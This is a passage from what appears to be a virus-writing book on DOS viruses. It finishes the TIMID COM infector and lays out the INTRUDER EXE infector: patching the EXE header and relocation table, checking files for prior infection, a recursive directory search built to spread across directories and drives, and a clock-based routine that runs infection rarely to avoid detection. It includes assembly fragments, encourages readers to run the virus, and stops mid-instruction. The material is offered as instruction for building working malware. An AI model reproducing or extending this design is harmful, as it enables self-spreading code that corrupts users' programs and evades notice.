Since the virus will take over the first five bytes of a COM file, and since you probably don't know how many bytes the above two instructions will take up, let's put five NOP (no operation) instructions at the start of the host program. These take up five bytes which do nothing. Thus, the host program will look like this:
HOST:
nop
nop
nop
nop
nop
mov ax,4C00H
int 21H
We don't want to code it like that though! We code it to look just like it would if the virus had infected it. Namely, the NOP's will be stored at START CODE,
START_CODE:
nop
nop
nop
nop
nop
and the first five bytes of the host will consist of a jump to the virus and the letters "VI":
HOST:
jmp NEAR VIRUS_START
db 'VI'
mov ax,4C00H
int 21H
There, that's it. The TIMID virus is listed in its entirety in Appendix A, along with everything you need to compile it correctly.
I realize that you might be overwhelmed with new ideas and technical details at this point, and for me to call this virus "simple" might be discouraging. If so, don't lose heart. Study it carefully. Go back over the text and piece together the various functional elements, one by one. And if you feel confident, you might try putting it in a subdirectory of its own on your machine and giving it a whirl. If you do though, be careful! Proceed at your own risk! It's not like any other computer program you've ever run!
The simple COM file infector which we just developed might be good instruction on the basics of how to write a virus, but it is severely limited. Since it only attacks COM files in the current directory, it will have a hard time proliferating. In this chapter, we will develop a more sophisticated virus that will overcome these limitations. . . . a virus that can infect EXE files and jump directory to directory and drive to drive. Such improvements make the virus much more complex, and also much more dangerous. We started with something simple and relatively innocuous in the last chapter. You can't get into too much trouble with it. However, I don't want to leave you with only children's toys. The virus we discuss in this chapter, named INTRUDER, is no toy. It is very capable of finding its way into computers all around the world, and deceiving a very capable computer whiz.
An EXE file is not as simple as a COM file. The EXE file is designed to allow DOS to execute programs that require more than 64 kilobytes of code, data and stack. When loading an EXE file, DOS makes no a priori assumptions about the size of the file, or what is code or data. All of this information is stored in the EXE file itself, in the EXE Header at the beginning of the file. This header has two parts to it, a fixed-length portion, and a variable length table of pointers to segment references in the Load Module, called the Relocation Pointer Table. Since any virus which attacks EXE files must be able to manipulate the data in the EXE Header, we'd better take some time to look at it. Figure 10 is a graphical representation of an EXE file. The meaning of each byte in the header is explained in Table 1.
Figure 10: The layout of an EXE file.
When DOS loads the EXE, it uses the Relocation Pointer Table to modify all segment references in the Load Module. After that, the segment references in the image of the program loaded into memory point to the correct memory location. Let's consider an example (Figure 11): Imagine an EXE file with two segments. The segment at the start of the load module contains a far call to the second segment. In the load module, this call looks like this:
| Address | Assembly Language | Machine Code |
|---|---|---|
| 0000:0150 | CALL FAR 0620:0980 | 9A 80 09 20 06 |
From this, one can infer that the start of the second segment is 6200H (= 620H x 10H) bytes from the start of the load module. The Relocation Pointer Table would contain a vector 0000:0153 to point to the segment reference (20 06) of this far call. When DOS loads the program, it might load it starting at segment 2130H, because DOS and some memory resident programs occupy locations below this. So DOS would first load the Load Module into memory at 2130:0000. Then it would take the relocation pointer 0000:0153 and transform it into a pointer, 2130:0153 which points to the segment in the far call in memory. DOS will then add 2130H to the word in that location, resulting in the machine language code 9A 80 09 50 27, or CALL FAR 2750:0980 (See Figure 11).
Figure 11: An example of relocating code.
| Offset | Size | Name | Description |
| 0 | 2 | Signature | These bytes are the characters M and Z in every EXE file and identify the file as an EXE file. If they are anything else, DOS will try to treat the file as a COM file. |
| 2 | 2 | Last Page Size | Actual number of bytes in the final 512 byte page of the file (see Page Count). |
| 4 | 2 | Page Count | The number of 512 byte pages in the file. The last page may only be partially filled, with the number of valid bytes specified in Last Page Size. For example a file of 2050 bytes would have Page Size = 4 and Last Page Size = 2. |
| 6 | 2 | Reloc Table Entries | The number of entries in the relocation pointer table |
| 8 | 2 | Header Paragraphs | The size of the EXE file header in 16 byte paragraphs, including the Relocation table. The header is always a multiple of 16 bytes in length. |
| 0AH | 2 | MINALLOC | The minimum number of 16 byte paragraphs of memory that the program requires to execute. This is in addition to the image of the program stored in the file. If enough memory is not available, DOS will return an error when it tries to load the program. |
| 0CH | 2 | MAXALLOC | The maximum number of 16 byte paragraphs to allocate to the program when it is executed. This is normally set to FFFF Hex, except for TSR's. |
| 0EH | 2 | Initial ss | This contains the initial value of the stack segment relative to the start of the code in the EXE file, when the file is loaded. This is modified dynamically by DOS when the file is loaded, to reflect the proper value to store in the ss register. |
| 10H | 2 | Initial sp | The initial value to set sp to when the program is executed. |
| 12H | 2 | Checksum | A word oriented checksum value such that the sum of all words in the file is FFFF Hex. If the file is an odd number of bytes long, the lost byte is treated as a word with the high byte = 0. Often this checksum is used for nothing, and some compilers do not even bother to set it properly. The INTRUDER virus will not alter the checksum. |
| 14H | 2 | Initial ip | The initial value for the instruction pointer, ip, when the program is loaded. |
| 16H | 2 | Initial cs | Initial value of the code segment relative to the start of the code in the EXE file. This is modified by DOS at load time. |
| 18H | 2 | Relocation Tbl Offset | Offset of the start of the relocation table from the start of the file, in bytes. |
| 1AH | 2 | Overlay Number | The resident, primary part of a program always has this word set to zero. Overlays will have different values stored here. |
Table 1: Structure of the EXE Header.
Note that a COM program requires none of these calisthenics since it contains no segment references. Thus, DOS just has to set the segment registers all to one value before passing control to the program.
A virus that is going to infect an EXE file will have to modify the EXE Header and the Relocation Pointer Table, as well as adding its own code to the Load Module. This can be done in a whole variety of ways, some of which require more work than others. The INTRUDER virus will attach itself to the end of an EXE program and gain control when the program first starts. This will require a routine similar to that in TIMID, which copies program code from memory to a file on disk, and then adjusts the file.
INTRUDER will have its very own code, data and stack segments. A universal EXE virus cannot make any assumptions about how those segments are set up by the host program. It would crash as soon as it finds a program where those assumptions are violated. For example, if one were to use whatever stack the host program was initialized with, the stack could end up right in the middle of the virus code with the right host. (That memory would have been free space before the virus had infected the program.) As soon as the virus started making calls or pushing data onto the stack, it would corrupt its own code and self-destruct.
To set up segments for the virus, new initial segment values for cs and ss must be placed in the EXE file header. Also, the old initial segments must be stored somewhere in the virus, so it can pass control back to the host program when it is finished executing. We will have to put two pointers to these segment references in the relocation pointer table, since they are relocatable references inside the virus code segment.
Adding pointers to the relocation pointer table brings up an important question. To add pointers to the relocation pointer table, it may sometimes be necessary to expand that table's size. Since the EXE Header must be a multiple of 16 bytes in size, relocation pointers are allocated in blocks of four four byte pointers. Thus, if we can keep the number of segment references down to two, it will be necessary to expand the header only every other time. On the other hand, the virus may choose not to infect the file, rather than expanding the header. There are pros and cons for both possibilities. On the one hand, a load module can be hundreds of kilobytes long, and moving it is a time consuming chore that can make it very obvious that something is going on that shouldn't be. On the other hand, if the virus chooses not to move the load module, then roughly half of all EXE files will be naturally immune to infection. The INTRUDER virus will take the quiet and cautious approach that does not infect every EXE. You might want to try the other approach as an exercise, and move the load module only when necessary, and only for relatively small files (pick a maximum size).
Suppose the main virus routine looks something like this:
VSEG SEGMENT
VIRUS:
mov ax,cs ;set ds=cs for virus
mov ds,ax
.
.
.
mov ax,SEG HOST_STACK ;restore host stack
cli
mov ss,ax
mov sp,OFFSET HOST_STACK
sti
jmp FAR PTR HOST ;go execute host
Then, to infect a new file, the copy routine must perform the following steps:
mov ax,HOST_STACK
The second should point to the segment part of the
jmp FAR PTR HOST
instruction in the main virus routine.
All the initial segment values must be calculated from the size of the load module which is being infected. The code to accomplish this infection is in the routine INFECT in Appendix B.
As in the TIMID virus, the search mechanism can be broken down into two parts: FIND_FILE simply locates possible files to infect. FILE_OK, determines whether a file can be infected.
The FILE_OK procedure will be almost the same as the one in TIMID. It must open the file in question and determine whether it can be infected and make sure it has not already been infected. The only two criteria for determining whether an EXE file can be infected are whether the Overlay Number is zero, and whether it has enough room in its relocation pointer table for two more pointers. The latter requirement is determined by a simple calculation from values stored in the EXE header. If 16 * Header Paragraphs - 4 * Relocation Table Entries - Relocation Table Offset is greater than or equal to 8 (=4 times the number of relocatables the virus requires), then there is enough room in the relocation pointer table. This calculation is performed by the subroutine REL_ROOM, which is called by FILE_OK.
To determine whether the virus has already infected a file, we put an ID word with a pre-assigned value in the code segment at a fixed offset (say 0). Then, when checking the file, FILE_OK gets the segment from the Initial cs in the EXE header. It uses that with the offset 0 to find the ID word in the load module (provided the virus is there). If the virus has not already infected the file, Initial cs will contain the initial code segment of the host program. Then our calculation will fetch some random word out of the file which probably won't match the ID word's required value. In this way FILE_OK will know that the file has not been infected. So FILE_OK stays fairly simple.
However, we want to design a much more sophisticated FIND_FILE procedure than TIMID's. The procedure in TIMID could only search for files in the current directory to attack. That was fine for starters, but a good virus should be able to leap from directory to directory, and even from drive to drive. Only in this way does a virus stand a reasonable chance of infecting a significant portion of the files on a system, and jumping from system to system.
To search more than one directory, we need a tree search routine. That is a fairly common algorithm in programming. We write a routine FIND_BR, which, given a directory, will search it for an EXE which will pass FILE_OK. If it doesn't find a file, it will proceed to search for subdirectories of the currently referenced directory. For each subdirectory found, FIND_BR will recursively call itself using the new subdirectory as the directory to perform a search on. In this manner, all of the subdirectories of any given directory may be searched for a file to infect. If one specifies the directory to search as the root directory, then all files on a disk will get searched.
Making the search too long and involved can be a problem though. A large hard disk can easily contain a hundred subdirectories and thousands of files. When the virus is new to the system it will quickly find an uninfected file that it can attack, so the search will be unnoticably fast. However, once most of the files on the system are already infected, the virus might make the disk whirr for twenty seconds while examining all of the EXE's on a given drive to find one to infect. That could be a rather obvious clue that something is wrong.
To minimize the search time, we must truncate the search in such a way that the virus will still stand a reasonable chance of infecting every EXE file on the system. To do that we make use of the typical PC user's habits. Normally, EXE's are spread pretty evenly throughout different directories. Users often put frequently used programs in their path, and execute them from different directories. Thus, if our virus searches the current directory, and all of its subdirectories, up to two levels deep, it will stand a good chance of infecting a whole disk. As added insurance, it can also search the root directory and all of its subdirectories up to one level deep. Obviously, the virus will be able to migrate to different drives and directories without searching them specifically, because it will attack files on the current drive when an infected program is executed, and the program to be executed need not be on the current drive. When coding the FIND_FILE routine, it is convenient to structure it in three levels. First is a master routine FIND_FILE, which decides which subdirectory branches to search. The second level is a routine which will search a specified directory branch to a specified level, FIND_BR. When FIND_BR is called, a directory path is stored as a null terminated ASCII string in the variable USEFILE, and the depth of the search is specified in LEVEL. At the third level of the search algorithm, one routine searchs for EXE files (FINDEXE) and two search for subdirectories (FIRSTDIR and NEXTDIR). The routine that searches for EXE files will call FILE_OK to determine whether each file it finds is infectable, and it will stop everything when it finds a good file. The logic of this searching sequence is illustrated in Figure 12. The code for these routines is also listed in Appendix B.
Figure 12: Logic of the file search routines.
A fairly simple anti-detection tactic can make this virus much more difficult for the human eye to locate: Simply don't allow the search and copy routines to execute every time the virus gets control. One easy way of doing that is to look at the system clock, and see if the time in ticks (1 tick = 1/18.2 seconds) modulo some number is zero. If it is, execute the search and copy routines, otherwise just pass control to the host program. This anti-detection routine will look like this:
SHOULDRUN:
xor ah,ah ;read time using
int 1AH ;BIOS time of day service
and al,63
ret
This routine returns with z set roughly one out of 64 times. Since programs are not normally executed in sync with the clock timer, it will essentially return a z flag randomly. If called in the main control routine like this:
call SHOULDRUN
jnz FINISH ;don't infect unless z set
call FIND_FILE
jnz FINISH ;don't infect without valid file
call